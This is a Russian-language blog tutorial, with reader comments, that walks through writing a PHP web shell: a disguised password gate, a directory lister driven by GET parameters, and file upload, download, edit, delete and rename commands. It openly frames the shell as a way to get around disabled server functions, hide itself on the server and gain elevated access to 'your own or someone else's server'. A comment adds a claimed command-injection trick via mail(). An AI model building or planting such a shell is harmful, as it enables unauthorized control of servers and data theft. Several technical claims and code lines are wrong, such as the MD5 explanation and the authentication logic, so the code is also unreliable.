Пишем свой PHP-Shell.
Чтобы к нам на страничку не прошел враг — шифруемся, т.е. делаем «Aвторизацию по паролю»
Авторизация нужна для секретного запуска скрипта, и если пользователь не автозируется, то он будет видеть на странице — белый экран или можно будет съэмулировать страницу браузера — «Извините, данная страница не найдена на этом сервере — ошибка 404 :)». И так, сама форма для авторизации пользователя:
Авторизация пользователя к файлу проходит методом POST, т.е. передаваемую переменную логин и пароль не возможно было бы «перехватить» явным образом:
PHP файл author.php (Называем с расширением .php, но можно и .html или .htm ибо Preprocessor Hypertext Protocol и так его обработает как html, потому что в нём нет указателей признака php это теги <?php ?>. А как мы помним чистый php начинается именно с них и отрабатывается НА сервере ДО «выдачи» обработанной странички пользователю. Тут суть дела не меняет.)
<html>
<body bgcolor=#ffffff>
<FORM method=post action=login.php> <!— При проверке отсылаются данные на файл login.php —> login: <INPUT type=text name=login><br>password: <INPUT type=password name=pass><br> </FORM>
</body>
</html>
Если вы откроете справочник по html, то тип для тега input — type это тип поля может принимать параметр text — текстовое поле и password — чтобы символы были скрыты за * * * * * * *, а name это имя для переменной pass в которой будет передаваться пароль. Да! И следует помнить, что переменные передадутся только в пределах того сервера на котором лежит скрипт — это нам и нужно!
Далее делаем простой скрипт, обрабатывающий запрос POST (учтите, что по соображениям безопасности POST в настройках сервера будет отрабатывать только на том сервере где вы программите):
PHP файл login.php (тут проходит проверка на запуск shell.php):
<?php
$password = ‘jamesbonds’; // обозначаем переменную для пароля
$login = ‘myshell’; // обозначаем переменную для логина
$pass=$_POST[‘pass’]; // принимаем значение переменной передаваемое в POST и записываем его в $pass
$logn=$_POST[‘login’]; // принимаем значение переменной передаваемое в POST и записываем его в $logn
if (($logn==$login)||($pass==$password)) // проверяем, если пароль=jamesbonds и login=myshell
{ // тело if include (‘shell.php?start=12345’); // Инклудится сам шелл. Ещё знак после php «?» — обозначает признак передачи инфы в строке (т.е. это GET запрос). Иными словами мы передаём переменную start равную 12345 в файл shell.php. Это будет «ключ» к пройденной пользователем авторизации. Можете записать своё значение, котрое потом в файле shell.php нужно будет проверить. }
// else — тут писать нельзя, т.к. переменные глобальные и заданы явным образом, т.к. переменные в POST НЕ могут быть НЕ равные НИЧЕМУ — будет ошибка php T-string, по этому мы пишем ещё один if в котором, как раз и указываем: «если НЕ равны…»
// Вот он ниже
if (($logn!=$login)||($pass!=$password)) // проверяем, если пароль не jamesbonds и login не myshell
{ // тело ifа
header(‘location:https://fsb.ru’); // отправляем НЕудачливого чувака на сайт ФСБ 😉 }
?>
Иной способ проверки на авторизацию
Я бы не сказал, что серверная форма аутентификации от Apache — более надежный метод защиты информации, просто это так скажем улучшенный способ аутентификации пользователя. Одним словом, в данном случае просто больше заморочек. Эта эмулированная форма выглядит как .htaсcess блокирующая всю корневую папку с файлами, пока вам сервак не выдаст куки и запустит сессию. Ещё одним важным замечанием является не гарантированная работа данного файла на почти всех серваках (закрытая по системе безопасности провайдера). Иными словами родной текстовый файл .htaccess подложенный в папку будет отрабатывать — ваш нет! (Посмотрите информацию в php.ini о разрешениях и запретах )
Пишем скрипт эмулирующий работу .htaсcess на php
PHP файл index.php (Ибо должен запускаться от корня и блокировать содержимое директории. По-этому вам придётся создавать любую папку, что палево, в отличие от первого метода):
<?php
$login=’height’; // присваиваем переменную $login $password=’width’; //присваиваем переменную $password
if (!isset($_SERVER[‘PHP_AUTH_USER’]) || $_SERVER[‘PHP_AUTH_USER’]!=$login || $_SERVER[‘PHP_AUTH_PW’]!=$password) // Сравниваем значения переменных передаваемые от сервера: login и password — Если они НЕ СООТВЕТСТВУЮТ верным значениям!
{ // Тело if на НЕпрошедшие сравнения типов — выбирайте на ваш взгляд «послание об ошибке аутентификации юзера»
// или пишем
header(‘WWW-Authenticate: Basic realm=’Введите пароль»); // Что «говорит» сервер
// или такой header(‘HTTP/1.0 401 Unauthorized’); // Передаём серверу через заголовок ошибку 401
// или 🙂 так exit(‘Иди ты в жопу хацкер!’); // Ещё на выведенную страницу дописываем — ошибка мол — идите в жопу
// или отправляем на ЮХ! header(‘location:https://sex.ru’); // Отправляем на сайт секс.ру редиректом через заголовок сервака
}
// else — тут писать нельзя, т.к. переменные глобальные и заданы явным образом, т.к. переменные в SERVER НЕ могут быть НЕ равные НИЧЕМУ — будет ошибка php T-string, по этому мы пишем ещё один if в котором, как раз и указываем: «если РАВНЫ.»
if (isset($_SERVER[‘PHP_AUTH_USER’]) || $_SERVER[‘PHP_AUTH_USER’]==$login || $_SERVER[‘PHP_AUTH_PW’]==$password) // Аналогично предыдущему, сравниваем переменные передаваемые от сервера: login и password — Если они СООТВЕТСТВУЮТ верным значениям!
{ // Тело if для загрузки самого шела
include (‘shell.php?start=12345’); // Инклудится сам шелл. Знак после php «?» — обозначает признак передачи инфы в строке (т.е. это GET запрос). Иными словами мы передаём переменную start равную 12345 в файл shell.php. Это будет «ключ» к пройденной пользователем авторизации. Можете записать своё значение, которое потом в файле shell.php нужно будет проверить.
}
// Конечно, в файле shell.php (для его запуска) мы пишем:
// if (isset($_GET[‘start’]) || $_GET[‘start’]==’12345′) // Проверяем действительность «ключа»
/* Ещё рекомендую зажать его qzipом — обычно он по-умолчанию включён на серверах
Это нужно для того, что бы юзер не видел содержимое файла, а передав в него контрольную сумму типа start=12345 вы дадите команду. Gzip — раззиповываеться мгновенно НА стороне сервера (без вашего ведома) и выдаствам, ну скажем ваш рабочий скрипт shell.php
{
// Тут тело самой программы с командами (см.ниже)
}
*/
?>
Есчё: Используя любой из способов, чтобы при каждом запросе не авторизовываться, данные лучше не прописывать в cookies — из-за возможной ошибки, а держать в глобальной переменной $_SESSION где в любой момент вы можете их вызвать… Собственно что и делаеться так: $IS_SESSION[‘userauth’]…
Ещё можно сделать аутентификацию через куки и сессию пользователя, добавив (заменив) аналогичным образом коды программы выше:
PHP код для установки кукиса или сессии:
<?php
// PHP код «Устанавливаем coookies»:
setcookie(‘pass’, $pass, time()+10000); // ‘pass’- имя файла кукиз сохраняемое на комп юзера, $pass — значение переменной, time()+10000 — время жизни временного файла сookies.txt в микросекундах unix’a. Сама time() — текущее время. Берётся не с вашего компьютера а с исследуемого сервера. Однако не на всех типах браузеров куки бывают включены. Из-за этого php вам выдаст ошибку следующего содержания: Мол не могу записать кукиз на комп юзера — хоть ты тресни! Из-за этого вам придётся делать проверку на TRUE/FASLE значения и делать предупреждалову, мол: Дорогой дружок! У тебя на браузере были выключены куки, включи! а? Не опытному программеру обычно грозить ошибкой php — не понятно из-за чего 🙂
// PHP код «Сессии»:
if ($_SESSION[‘passsword’]==’$pass’) { // На сервере заводиться глобальная переменная session. Это строчный массив данных, в котором ключ массива — это наименование переменной. В нашем случае это $pass, а [‘password…’] её передаваемое значение. Надо отметить, что это самый лучший способ аутентификации пользователя общепризнан во всём мире. Хотя, и его тоже можно обмануть. В Сессии, также как и в GET, POST можно передавать дофига и больше переменных! (Рекомендую почитать в справочнике: в начале обозначаем: SESSION_START(); и в конце тела кода: SESSION_DESTROY(); )
}
?>
<?php // Вот ещё один наглядный пример запуска старта сессии пользователя
// Инициируем сессию
session_start();
// Помещаем значение в сессию
$_SESSION['name'] = "value";
// Помещаем массив в сессию
$arr = array("login", "password", "username");
$_SESSION['arr'] = $arr;
// Выводим ссылку на другую страницу (А сессия уже запущена! На другой странице мы сможем легко получить данные о юзере)
echo "<a href='other.php'>другая страница</a>";
?>
При авторизации (аутентификации) вам рекомендую усовершенствовать проверку пароля, например кодированием в MD5()! Что это даёт. MD5 — делает отпечаток зашиврованного ключа. В каждую секунду — разный.
Например:
<?php
$pass = ‘moikosoiparol’; // Присавиваем пароль к переменной
$vasya = md5 ($pass); // Шифруем в ЭмДэ пять
echo ($vasya); // Вы увидите отпечаток типа: $Jk78H5tGh6Hf$klLjhLKHУЁМ$ОЁ
?>
Пример аутентификации через MD5 на php
Для чего это нужно? Что бы наивернейшим способом сравнивать пароли и сделать защиту от иных скрытых символах, таких как: <>’—`»OR’ ‘AND’+../../
PHP файл test_md5.php, в который мы передаём test_md5.php?b=пароль через GET-запрос
<?php
$a = ‘пароль’; // Хранимый пароль в файле php
$b =’ ‘; // Полученный, или через POST, GET, SESSION, cookies
if (isset($_GET[‘b’]) || ($_GET[‘b’]!=’ ‘)) // Если установлена переменная b и она НЕпустая, то:
{
$b = $_GET[‘b’]; // Получаем из GET-запроса b
$b=md5($b); // Получаем слепок MD5 от b
echo (‘md5 b это’.$b); // Выводим md5 — b
echo (‘<br>’); // Переносим каретку на сл.строчку
$a=md5($a); // Получаем слепок MD5 от a
echo (‘md5 a это’.$a); // Выводим md5 — a
echo (‘<br>’); // Переносим каретку на сл.строчку
if ($a===$b) { echo (‘Заебись, пароли верные, цуко!’); } // Сравниваем типы отпечатков md5 a==b if ($a!==$b) { echo (‘Уроды, гавно а не пароль, не тот!’); } // Сравниваем типы отпечатков md5 a!=b
}
// Писать значение переменной или значение передаваемое в функцию нужно всегда в кавычках. В одинарных или в двойных — это ваше право, кому как удобнее. Я изменил кавычки на одинарные, помочу что наш движок WordPress меняет их на автоматически на «» ! Я могу отключить эту функцию, но, а она ещё пригодится в других статьях. По этому оставлю как есть для наглядности.
/* И вот у нас уже получается самый настоящий Шелл, но это только половина работы */
?>
Подводим итоги аутентификации пользователя. Вот простой скрипт, конечно, который требует доработки но, тем не менее позволит вам понять принцип работы GET запроса:
<?php
echo (‘Скрипт запущен и работает! Допишите в строке <b>?d=fuck</b><br>’);
if ($_GET[‘d’]==’fuck’) { echo (‘<H1><font color=Green>Пароль FUCK — верный!</font></H1>(Вот пример авторизации с паролем (переменной) отосланым через GET запрос)<script>alert(\’Молодец! Верный пароль!\’);</script>’); }
if ($_GET[‘d’]!=’fuck’) { echo (‘<H1><font color=Red>Чувак, у тя не верный пароль — иди в жопу!</font></H1><script>alert(\’Введи верный пароль засранец!\’);</script>’); }
?>
Посмотрите пример работы скрипта аутентификации пользователя через GET запрос. Ну вроде как передавать и принимать переменные в или из файла мы разобрались! Также, аналогичным образом через GET передаются команды (см.предыдущую статью). И их активация происходит методом фильтрации переменных через if()! Иными словами мы проверяем, что передал пользователь через строку и в зависимости от условий выполняем ту или иную функцию написанную на php. Всё очень просто! Идём дальше.
Менеджер файлов на php
Ясно для чего нужен файловый менеджер — для передачи и записи файлов на сервер и обратно. Конечно с использованием дополнительных известных функций, таких как: cmod, права доступа, привелегии, владелец, группа и т.п. Нужно показать путь к корневой или любой другой папке передавая его через наш с вами GET запрос. В приведённом ниже примере мы лишь строим «дерево» папок и файлов, а другие действия мы будем совершать потом, с помощью дополнительных запросов GET. PHP код файловый менеджер:
<?php
echo (‘Укажите в строке <b>?path=…</b> из строчки ниже<br>’);
$globalpath = $_SERVER[‘DOCUMENT_ROOT’]; // Отображаю полный путь сервера от начала vars! echo (‘<b>Корень пути сервера: <font color=Blue>’.$globalpath.'</font></b><br>’); // Вывожу путь, т.к. он будет нужен вам как шпаргалка что бы ориентироваться на серваке!
if (isset($_GET[‘path’]))
{
$path = $_GET[‘path’]; // Получаем из GET запроса данные корневой папки $dirs=array(); // Создаём пустой строчный массив для папок
$files=array(); // Создаём пустой строчный массив для файлов
$listing = @opendir($path); // Читаем начало пути
echo ‘<font color=Green><b>Вы указали: ‘.$path.'</b></font><br>’; // Выводим абсолютный путь
while (!(($file = readdir($listing)) === false))
{ // запускаем цик while который остановиться, когда ничего не прочитает и в него попадёт false if ($file==’.’ || $file==’..’) continue; // отображаем корневые и не корневые
if (@is_dir($listing/$file))
{ // Поверяем — ЕСЛИ СУЩЕСТВУЕТ папка/файл
$dirs[]=$file; // Дописываем в масив папок, по ключу +1 +2 +3…
}
else { $files[]=$file; // Дописываем в масив «файлов», по ключу +1 +2 +3… }
sort($dirs); // Сортируем массив «папок»
sort($files); // Сортируем массив «файлов»
}
for($ddd=0; $ddd<count($dirs); $ddd++)
{ // Цикл подсчёта вывода папок, когда счётчик count перестанет считать +1 +2 +3…
echo ‘<b>’.$dirs[$ddd].'</b><br>’; //и выводим дерево папок
}
for($fff=0; $fff<count($files); $fff++)
{ // Цикл подсчёта вывода фалов закончится, когда счётчик count перестанет считать +1 +2 +3…
echo $files[$fff].'<br>’; // и выводим дерево файлов
}
}
// В этом файле мы постоили дерево файлов и папок через GET запрос! ?>
Слава богу разобрались и с этим говном и выводом файлов. Скачать себе пример рабочего (пока) просмотровщика ваших файлов на сервере мы можете тут нажав на ссылку. Теперь, нам с вами пора переходить к командам, таким образом что бы можно было управлять выведенными файлами. И снова нам пригодится GET-запрос. Через него мы будем передавать команды: переименовать, удалить, создать, скопировать, переместить, аплоад, даунлоад. А также, попробуем реализовать такие известные функции как: владелец, права. Что ещё характерно, что создавая новый файл нашим PHP-Shell владельцем данного файла сразу станет или root или well — что несомненно нам поможет, для того, что бы мы смогли получить доступ к самую корневую дирректорию тестируемого сервера. Кстати, вам ещё не пришло в голову, что используя наш Шелл мы скопируем файлы этого же Шелла самим Шеллом и положем его как можно глубже, таким образом мы получим права root и файловый менеджер с этими правами — ибо он сделан самим скриптом сервера.
Команды для работы с файлами нашего Шелла:
Как переименовать файл на php:
<?php
rename($cur_filename, $new_filename);
// $cur_filename — Текущее имя файла (помните, что нужен полный путь и само имя)
// $new_filename — Новой имя вашего файла (Включая полный путь и само имя файла)
?>Как создать файл на php:
<?php
$fp=fopen($new_filename, «w»); // $new_filename — имя файла (помните, что нужен полный путь и само имя)
fwrite($fp,»»); // Пишем файл
fclose($fp); // Отключаем запись
?>Как создать папку или дирректорию на php:
<?php
mkdir($new_dirname, 777); //$new_dirname — Создание папки (помните, что нужен полный путь и само имя) и конечно права 777 на данный файл
?>Как скопировать (переместить) файл на php:
<?php
copy($cur_filename, $new_filename); //$cur_filename — откуда копировать (полный путь и имя файла), $new_filename — в какое место копировать (полный путь и имя файла)
?>Как удалить файл на php:
<?php
unlink($cur_filename); //$cur_filename — имя файла который нужно удалить (полный путь и имя файла)
?>Как скачать к себе файл на php:
<?php
header(«Content-disposition: attachment; filename=\»$cur_filename\»;»); // Отсылает браузеру команду на upload (возможно будет работать не на всех типах браузеров)
readfile(«$cur_filename»); // $cur_filename — имя скачиваемого файла (включая как всегда полный путь)
?>Как редактировать файл на php (но для начала его необходимо загрузить в форму, а ещё могут возникнуть проблеммы с кодировками, т.к. на сервере кодировка предопределена utf-8 или koi8-r): Есть прекрасный выход от кодировки — вы должны прогнать переменную $text — через функцию iconv. Т.е. будет: <?php $text = iconv(WIN, UTF-8, $text); ?>
<?php$fp=fopen(«$cur_filename», «r»); // $cur_filename — имя файла (+полный путь), r-чтение, rb-чтение по-блочно w-запись, wb-запись (допись) поблочно и т.д.
$text=fread($cur_filename, filesize(«$cur_filename»)); //Читаем содержимое всего файла в переменную $text.
$text=htmlspecialchars($text); // Удаляем спецзнаки <>'» из тела файла, можно закоментарить, т.к. вдруг вам понадобиться редактировать html-файл? И что тогда. Тогда коментируем строчку //
fclose($fp); // Закрываем функцию чтения
?>Прочитали и записали файл в строку в переменную $text.
Идём дальше, выводим файл в html-форму (при помощи чистого html-тега TEXTAREA):
<html>
<body>
<FORM>
<textarea rows=200 cols=100 name=value_filename><!— rows x cols — колонки и строки -указывают размеры поля —>
<?phpecho($text); // Врезка php. Мы заполняем область формы для редактирования самим файлом
?>
</textarea>
</FORM>
</body>
</html>Если нам нужно сохранить текст из поля (а мы же помним что он записан в переменную $text) то нам потребуется следующий скрипт для записи файла обратно:
<?php
$fp=fopen($cur_filename, «w»); // $cur_filename — имя файла (и полный путь), w — это write
fwrite($fp,»$text»); // Пишем сам файл взятый из переменной $text (куда его сохранили)
fclose($fp); // Закрываем функцию записи
?>Как закачать файл на сервер на php:
<php
$where=$_POST[‘where’]; // Переданный путь для зачакчи файла (через POST)
$upload=$_POST[‘upload’]; // Допустим, мы передаём его через POST — ограничен лишь upload_maxsize 8МБ в php.ini (можно и GET, но он ограничен длиной строки 1024 символа, включая адрес www)
$where=str_replace(«//»,»/»,$where); // Заменяем «двойные» на «одинарные» (во избежание ошибки)
$upload=$_FILES[‘text’][‘name’]; // Делаем массив, где text — тело файла, name — имя с расширением
$uploadfile = «$where/».$upload; // Склеиваем полный путь (после очистки мусора )
$tmp_name = «_tmp»; // Маркер для временнго файла
if (@move_uploaded_file(@$_FILES[‘text’][‘tmp_name’], $uploadfile)) // Если файл существует, то мы переписываем его и мя — вырезая из него «двойные слеши» и добавили ему маркер с окончанием _tmp
{
$uploadfile=str_replace(«//»,»/»,$uploadfile);
}
?>В принципе наш Веб-Шелл почти готов. Я хочу вас предупредить сразу, что функции типа: disable_functions dl, shell_exec, exec, system, passthru, popen, proc_open, proc_nice, proc_get_status, proc_close, proc_terminate, posix_mkfifo, set_time_limit, chown, chgrp, disk_total_space, disk_free_space dl, shell_exec, exec, system… не бутут работать на 99% серверов провайдера, т.к. они отключены по соображениям безопасности. Мы же с вами написали PHP-Shell лишь для той цели, что бы «обойти» выключенные функции. Их вам некто не включет. Они включаються в настройках сервера в файле php.ini По-умолчанию, при установке сборки php+apache+freebsd они выключены! Например, имея в своём дивизионе включённую функцию system — вы можете одной строчкой в php вызвать оболочку и запустить скрипт <?php system(«ls»); ?> — выводит листинг файлов текущей папки. А теперь представьте чела, который подломит ваш сервак, и будет через вас запускать у вас system и юзать другие ресурсы без вашего ведома с полными правами сервера! И так, прочитав наш рассказ, мы натолкнули вас на мысль — сделать Шелл самому. Разобрав всё выше изложенные команды php мы выложили для вас готовый файл — где можно скачать shell для php! Удачи в экспериментах с вашим или чужим сервером. 😉
Продолжение следует…
Жалко, что почти на всех серваках выключена функция exec и system. Спасибо, очень интересная статья! Помогла мне понять как обходить запреты. Удачи
Ы-ы-ы-ы! А вот и не на всех:
Функция mail — та что для отправки почты:
MAIL $to,$from,$subj,$mess,$a;
Есть уязвимости:
1) $a — можно подделать на, скажем [email protected] (от кого)
2) $a — можно вставлять команды, типа линукса: ls, sudo… 😉 всё работает, до версии php<5.0.22
Спасибо, очень познавательно!
Вот ещё нашёл у них сайте: https://www.helpset.ru/?p=3537 как можно проверить пароль на уязвимость. Тоже полезный сервис. Спасибо! Полезный софт.